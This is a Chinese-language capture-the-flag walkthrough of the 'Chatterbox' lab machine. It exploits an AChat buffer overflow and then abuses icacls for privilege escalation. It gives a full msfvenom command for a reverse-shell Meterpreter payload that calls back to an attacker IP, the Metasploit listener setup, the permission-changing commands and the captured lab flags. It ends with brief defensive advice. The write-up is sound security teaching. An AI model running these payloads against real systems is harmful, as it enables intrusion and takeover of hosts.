[Meachines] [Medium] Chatterbox AChat 缓冲区溢出 + MSF自动进程迁移+ icacls权限修改
字数 1242 2025-08-20 18:18:17

AChat 缓冲区溢出漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 目标扫描

使用Nmap对目标IP(10.10.10.74)进行扫描,发现以下开放端口:

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         AChat chat system httpd
9256/tcp  open  achat        AChat chat system
49152-49157/tcp open msrpc   Microsoft Windows RPC

1.2 服务识别

关键发现:

  • 操作系统:Windows 7 Professional 7601 Service Pack 1
  • 主机名:CHATTERBOX
  • 运行AChat聊天系统(端口9255和9256)

2. 漏洞利用阶段

2.1 查找AChat漏洞

使用searchsploit查找AChat相关漏洞:

$ searchsploit Achat

2.2 生成恶意载荷

使用msfvenom生成反向TCP Meterpreter载荷:

$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
LHOST=10.10.16.24 LPORT=10032 \
-e x86/unicode_mixed \
-b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' \
BufferRegister=EAX -f python

关键参数说明:

  • -a x86: 指定x86架构
  • --platform Windows: 目标平台为Windows
  • -p windows/meterpreter/reverse_tcp: 使用反向TCP Meterpreter载荷
  • LHOST/LPORT: 监听主机和端口
  • -e x86/unicode_mixed: 使用unicode_mixed编码器
  • -b: 指定坏字符列表(排除所有可能导致问题的字符)
  • BufferRegister=EAX: 指定EAX寄存器作为缓冲区
  • -f python: 输出格式为Python

2.3 设置监听器

在Metasploit中设置处理程序:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 10032
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

2.4 自动进程迁移

由于目标系统不稳定,需要快速进行进程迁移:

  1. 创建自动迁移脚本:
$ echo 'run post/windows/manage/migrate'>/tmp/automigrate.rc
  1. 在Metasploit中配置自动运行脚本:
msf exploit(multi/handler) > set AutoRunScript multi_console_command -r /tmp/automigrate.rc
  1. 开始监听:
msf6 exploit(multi/handler) > exploit

3. 初始访问与用户标志获取

成功利用漏洞后,获取用户标志:

User.txt: e8d47bf70011eb9c3dc2bbaba0a5b269

4. 权限提升阶段

4.1 检查权限

检查Administrator桌面目录权限:

C:\Users\Administrator\Desktop>icacls ../Desktop

4.2 权限问题

发现虽然能访问Administrator的desktop目录,但无法读取root.txt文件

4.3 手动修改权限

使用icacls命令修改root.txt文件的权限:

  1. 授予alfred用户完全控制权限:
C:\Users\Administrator\Desktop>icacls root.txt /grant alfred:F
  1. 验证权限修改:
C:\Users\Administrator\Desktop>icacls root.txt

4.4 获取root标志

成功读取root.txt内容:

Root.txt: 17a0c2aa4ce373d5fa29c915805f9bd0

5. 关键知识点总结

  1. AChat缓冲区溢出漏洞:利用AChat聊天系统的缓冲区溢出漏洞获取初始访问权限

  2. Meterpreter载荷生成:使用msfvenom生成定制化的反向TCP载荷,特别注意:

    • 坏字符排除
    • 使用unicode_mixed编码器绕过可能的过滤
    • 指定EAX寄存器作为缓冲区
  3. 自动进程迁移:针对不稳定系统,设置自动迁移脚本确保会话稳定性

  4. Windows权限管理:使用icacls工具查看和修改文件权限

    • /grant参数用于授予权限
    • F表示完全控制权限
  5. 权限提升技巧:通过修改关键文件权限而非直接提权来获取敏感信息

6. 防御建议

  1. 及时更新和修补AChat聊天系统
  2. 实施最小权限原则,限制用户对系统文件的访问
  3. 监控和限制icacls等权限管理工具的使用
  4. 部署防缓冲区溢出保护机制
  5. 对网络服务进行适当的访问控制
AChat 缓冲区溢出漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 目标扫描 使用Nmap对目标IP(10.10.10.74)进行扫描,发现以下开放端口: 1.2 服务识别 关键发现: 操作系统:Windows 7 Professional 7601 Service Pack 1 主机名:CHATTERBOX 运行AChat聊天系统(端口9255和9256) 2. 漏洞利用阶段 2.1 查找AChat漏洞 使用searchsploit查找AChat相关漏洞: 2.2 生成恶意载荷 使用msfvenom生成反向TCP Meterpreter载荷: 关键参数说明: -a x86 : 指定x86架构 --platform Windows : 目标平台为Windows -p windows/meterpreter/reverse_tcp : 使用反向TCP Meterpreter载荷 LHOST/LPORT : 监听主机和端口 -e x86/unicode_mixed : 使用unicode_ mixed编码器 -b : 指定坏字符列表(排除所有可能导致问题的字符) BufferRegister=EAX : 指定EAX寄存器作为缓冲区 -f python : 输出格式为Python 2.3 设置监听器 在Metasploit中设置处理程序: 2.4 自动进程迁移 由于目标系统不稳定,需要快速进行进程迁移: 创建自动迁移脚本: 在Metasploit中配置自动运行脚本: 开始监听: 3. 初始访问与用户标志获取 成功利用漏洞后,获取用户标志: 4. 权限提升阶段 4.1 检查权限 检查Administrator桌面目录权限: 4.2 权限问题 发现虽然能访问Administrator的desktop目录,但无法读取root.txt文件 4.3 手动修改权限 使用icacls命令修改root.txt文件的权限: 授予alfred用户完全控制权限: 验证权限修改: 4.4 获取root标志 成功读取root.txt内容: 5. 关键知识点总结 AChat缓冲区溢出漏洞 :利用AChat聊天系统的缓冲区溢出漏洞获取初始访问权限 Meterpreter载荷生成 :使用msfvenom生成定制化的反向TCP载荷,特别注意: 坏字符排除 使用unicode_ mixed编码器绕过可能的过滤 指定EAX寄存器作为缓冲区 自动进程迁移 :针对不稳定系统,设置自动迁移脚本确保会话稳定性 Windows权限管理 :使用icacls工具查看和修改文件权限 /grant 参数用于授予权限 F 表示完全控制权限 权限提升技巧 :通过修改关键文件权限而非直接提权来获取敏感信息 6. 防御建议 及时更新和修补AChat聊天系统 实施最小权限原则,限制用户对系统文件的访问 监控和限制icacls等权限管理工具的使用 部署防缓冲区溢出保护机制 对网络服务进行适当的访问控制